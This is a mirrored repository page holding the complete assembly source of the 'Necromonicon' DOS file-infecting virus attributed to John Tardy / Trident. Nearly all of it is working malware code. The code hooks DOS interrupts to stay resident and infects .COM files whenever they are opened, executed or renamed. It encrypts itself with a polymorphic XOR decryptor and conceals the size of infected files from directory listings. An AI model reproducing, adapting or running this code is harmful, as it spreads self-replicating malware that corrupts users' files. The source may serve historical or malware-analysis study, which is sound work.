mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-25 00:18:34 +00:00
418 lines
10 KiB
NASM
418 lines
10 KiB
NASM
;
|
|
; Necromonicon Virus by John Tardy
|
|
;
|
|
|
|
Org 0h
|
|
|
|
decr: jmp Crypt
|
|
db 'Carcass'
|
|
Loopje DB 0e2h
|
|
db 0fah
|
|
DecrLen Equ $-Decr
|
|
|
|
Crypt: Push Ax
|
|
call Get_Ofs
|
|
Get_Ofs: pop Bp
|
|
sub Bp,Get_Ofs
|
|
Mov Ax,0DEADh
|
|
Int 21h
|
|
Cmp Ax,0AAAAh
|
|
Je Installed
|
|
|
|
mov ax,3521h
|
|
int 21h
|
|
mov word ptr cs:old21[bp],bx
|
|
mov word ptr cs:old21[bp][2],es
|
|
|
|
mov ax,cs
|
|
dec ax
|
|
mov ds,ax
|
|
cmp byte ptr ds:[0000],'Z'
|
|
jne installed
|
|
mov ax,word ptr ds:[0003]
|
|
sub ax,ParLen
|
|
jb installed
|
|
mov word ptr ds:[0003],ax
|
|
sub word ptr ds:[0012h],ParLen
|
|
lea si,decr[bp]
|
|
mov di,0
|
|
mov es,ds:[12h]
|
|
mov ds,cs
|
|
mov cx,virlen
|
|
cld
|
|
rep movsb
|
|
mov ax,2521h
|
|
mov ds,es
|
|
mov dx,offset new21
|
|
int 21h
|
|
push es
|
|
Mov Ax,351ch
|
|
Int 21h
|
|
Mov Word Ptr OldInt1c[0],Bx
|
|
Mov Word Ptr OldInt1c[2],Es
|
|
Mov Ax,251ch
|
|
Lea Dx,NewInt1c
|
|
Pop Ds
|
|
Int 21h
|
|
|
|
Installed: Mov Di,100h
|
|
Lea Si,Org_Prg[Bp]
|
|
Push Cs
|
|
Push Cs
|
|
Pop Ds
|
|
Pop Es
|
|
Cld
|
|
Movsw
|
|
Movsb
|
|
Mov Bx,100h
|
|
Pop Ax
|
|
Push Bx
|
|
Ret
|
|
|
|
OldInt1c DD 0
|
|
|
|
NewInt1c: Pushf
|
|
Push Ds
|
|
Push Ax
|
|
Xor Ax,Ax
|
|
Push Ax
|
|
Pop Ds
|
|
Mov Ax,Word Ptr Ds:[46ch]
|
|
Dec Word Ptr Ds:[46ch]
|
|
Dec Word Ptr Ds:[46ch]
|
|
Cmp Ax,Word Ptr Ds:[46ch]
|
|
Ja EOI1C
|
|
Dec Word Ptr Ds:[46eh]
|
|
EOI1C: Pop Ax
|
|
Pop Ds
|
|
Popf
|
|
Iret
|
|
|
|
Old21 dd 0
|
|
|
|
New21: cmp ax,0deadh
|
|
jne chkfunc
|
|
mov ax,0aaaah
|
|
mov cx,ax
|
|
iret
|
|
chkfunc: cmp ah,11h
|
|
je findFCBst
|
|
cmp ah,12h
|
|
je findfcbst
|
|
cmp ah,4eh
|
|
je findst
|
|
cmp ah,4fh
|
|
je findst
|
|
push ax
|
|
push bx
|
|
push cx
|
|
push dx
|
|
push si
|
|
push di
|
|
push bp
|
|
push ds
|
|
push es
|
|
cmp ah,3dh
|
|
je infectHan
|
|
cmp ax,4b00h
|
|
je infectHan
|
|
cmp ah,41h
|
|
je infectHan
|
|
cmp ah,43h
|
|
je infectHan
|
|
cmp ah,56h
|
|
je infectHan
|
|
cmp ah,0fh
|
|
je infectFCB
|
|
cmp ah,23h
|
|
je infectFCB
|
|
cmp ah,6ch
|
|
je infectdos4
|
|
jmp endint
|
|
|
|
findfcbst: jmp findfcb
|
|
findst: jmp find
|
|
|
|
InfectFCB: mov si,dx
|
|
inc si
|
|
push cs
|
|
pop es
|
|
lea di,fnam
|
|
mov cx,8
|
|
rep movsb
|
|
mov cx,3
|
|
inc di
|
|
rep movsb
|
|
lea dx,fnam
|
|
push cs
|
|
pop ds
|
|
|
|
InfectHan: mov si,dx
|
|
mov cx,100h
|
|
cld
|
|
findpnt: lodsb
|
|
cmp al,'.'
|
|
je chkcom
|
|
loop findpnt
|
|
jmp endi
|
|
|
|
infectdos4: and dx,0fh
|
|
cmp dx,1
|
|
jne endi
|
|
mov dx,si
|
|
jmp infecthan
|
|
|
|
chkcom: lodsw
|
|
or ax,2020h
|
|
cmp ax,'oc'
|
|
jne endi
|
|
lodsb
|
|
or al,20h
|
|
cmp al,'m'
|
|
jne endi
|
|
jmp doitj
|
|
endi: jmp endint
|
|
doitj: push dx
|
|
push ds
|
|
mov ax,4300h
|
|
call dos
|
|
mov cs:fatr,cx
|
|
mov ax,4301h
|
|
xor cx,cx
|
|
call dos
|
|
mov ax,3d02h
|
|
call dos
|
|
jnc getdate
|
|
jmp error
|
|
getdate: xchg ax,bx
|
|
mov ax,5700h
|
|
call dos
|
|
mov cs:fdat,cx
|
|
mov cs:fdat[2],dx
|
|
and cx,1fh
|
|
cmp cx,1fh
|
|
jne chkexe
|
|
jmp done
|
|
chkexe: mov ah,3fh
|
|
push cs
|
|
pop ds
|
|
lea dx,Org_prg
|
|
mov cx,3
|
|
call dos
|
|
cmp word ptr cs:Org_prg[0],'ZM'
|
|
je close
|
|
cmp word ptr cs:Org_prg[0],'MZ'
|
|
je close
|
|
|
|
Mov ax,4202h
|
|
xor cx,cx
|
|
xor dx,dx
|
|
call dos
|
|
|
|
sub ax,3
|
|
mov cs:jump[1],ax
|
|
|
|
Add Ax,Offset Crypt+103h
|
|
Mov S_1[1],Ax
|
|
Mov S_2[1],Ax
|
|
Mov S_3[4],Ax
|
|
Mov S_4[4],Ax
|
|
Call GenPoly
|
|
|
|
mov ah,40h
|
|
push cs
|
|
pop ds
|
|
lea dx,coder
|
|
mov cx,virlen
|
|
call dos
|
|
|
|
mov ax,4200h
|
|
xor cx,cx
|
|
xor dx,dx
|
|
call dos
|
|
|
|
mov ah,40h
|
|
lea dx,jump
|
|
mov cx,3
|
|
call dos
|
|
|
|
or cs:fdat,01fh
|
|
|
|
close: mov ax,5701h
|
|
mov cx,cs:fdat
|
|
mov dx,cs:fdat[2]
|
|
call dos
|
|
|
|
done: mov ah,3eh
|
|
call dos
|
|
pop ds
|
|
pop dx
|
|
push dx
|
|
push ds
|
|
mov ax,4301h
|
|
mov cx,fatr
|
|
call dos
|
|
|
|
error: pop ds
|
|
pop dx
|
|
|
|
endint: pop es
|
|
pop ds
|
|
pop bp
|
|
pop di
|
|
pop si
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
jmp dword ptr cs:[old21]
|
|
|
|
GenPoly: Xor Byte Ptr [Loopje],2
|
|
Xor Ax,Ax
|
|
Mov Es,Ax
|
|
Mov Ax,Es:[46ch]
|
|
Mov Es,Cs
|
|
Push Ax
|
|
And Ax,07ffh
|
|
Add Ax,CryptLen
|
|
Mov S_1[4],Ax
|
|
Mov S_2[4],Ax
|
|
Mov S_3[1],Ax
|
|
Mov S_4[1],Ax
|
|
Doit: Pop Ax
|
|
Push Ax
|
|
And Ax,3
|
|
Shl Ax,1
|
|
Mov Si,Ax
|
|
Mov Ax,Word Ptr Table[Si]
|
|
Mov Si,Ax
|
|
Lea Di,decr
|
|
Movsw
|
|
Movsw
|
|
Movsw
|
|
Movsw
|
|
Pop Ax
|
|
Stosb
|
|
Movsb
|
|
Mov Dl,Al
|
|
Lea Si,Decr
|
|
Lea Di,Coder
|
|
Mov Cx,DecrLen
|
|
Rep Movsb
|
|
Lea Si,Crypt
|
|
Mov Cx,CryptLen
|
|
Encrypt: Lodsb
|
|
Xor Al,Dl
|
|
Stosb
|
|
Loop Encrypt
|
|
Cmp Dl,0
|
|
Je Fuckit
|
|
Ret
|
|
|
|
FuckIt: Lea Si,Encr0
|
|
Lea Di,Coder
|
|
Mov Cx,Encr0Len
|
|
Rep Movsb
|
|
Mov Ax,Cs:jump[1]
|
|
Add Ax,Encr0Len+2
|
|
Mov Cs:jump[1],Ax
|
|
Ret
|
|
|
|
Table DW Offset S_1
|
|
DW Offset S_2
|
|
DW Offset S_3
|
|
DW Offset S_4
|
|
|
|
S_1: Lea Si,0
|
|
Mov Cx,0
|
|
DB 80h,34h
|
|
Inc Si
|
|
S_2: Lea Di,0
|
|
Mov Cx,0
|
|
DB 80h,35h
|
|
Inc Di
|
|
S_3: Mov Cx,0
|
|
Lea Si,0
|
|
DB 80h,34h
|
|
Inc Si
|
|
S_4: Mov Cx,0
|
|
Lea Di,0
|
|
DB 80h,35h
|
|
Inc Di
|
|
|
|
Db '[ '
|
|
Encr0 Db 'John Tardy'
|
|
Encr0Len Equ $-Encr0
|
|
|
|
Db ' / Trident'
|
|
Db ' ]'
|
|
|
|
getdta: pop si
|
|
pushf
|
|
push ax
|
|
push bx
|
|
push es
|
|
mov ah,2fh
|
|
call dos
|
|
jmp short si
|
|
|
|
FindFCB: call DOS
|
|
cmp al,0
|
|
jne Ret1
|
|
call getdta
|
|
cmp byte ptr es:[bx],-1
|
|
jne FCBOk
|
|
add bx,8
|
|
FCBOk: mov al,es:[bx+16h]
|
|
and al,1fh
|
|
cmp al,1fh
|
|
jne FileOk
|
|
sub word ptr es:[bx+1ch],Virlen
|
|
sbb word ptr es:[bx+1eh],0
|
|
jmp short Time
|
|
|
|
Find: call DOS
|
|
jc Ret1
|
|
call getdta
|
|
mov al,es:[bx+16h]
|
|
and al,1fh
|
|
cmp al,1fh
|
|
jne FileOk
|
|
sub word ptr es:[bx+1ah],VirLen
|
|
sbb word ptr es:[bx+1ch],0
|
|
Time: xor byte ptr es:[bx+16h],10h
|
|
FileOk: pop es
|
|
pop bx
|
|
pop ax
|
|
popf
|
|
Ret1: retf 2
|
|
|
|
Db '| Trapped in a spell of the Necromonicon |'
|
|
|
|
dos: pushf
|
|
call dword ptr cs:[old21]
|
|
ret
|
|
|
|
Org_prg dw 0cd90h
|
|
db 20h
|
|
|
|
fnam db 8 dup (0)
|
|
db '.'
|
|
db 3 dup (0)
|
|
db 0
|
|
fatr dw 0
|
|
fdat dw 0,0
|
|
|
|
|
|
jump db 0e9h,0,0
|
|
|
|
ResLen Equ ($-Decr)/10h
|
|
|
|
ParLen Equ (Reslen*2)+10h
|
|
|
|
CryptLen Equ $-Crypt
|
|
|
|
VirLen Equ $-Decr
|
|
|
|
Coder Equ $
|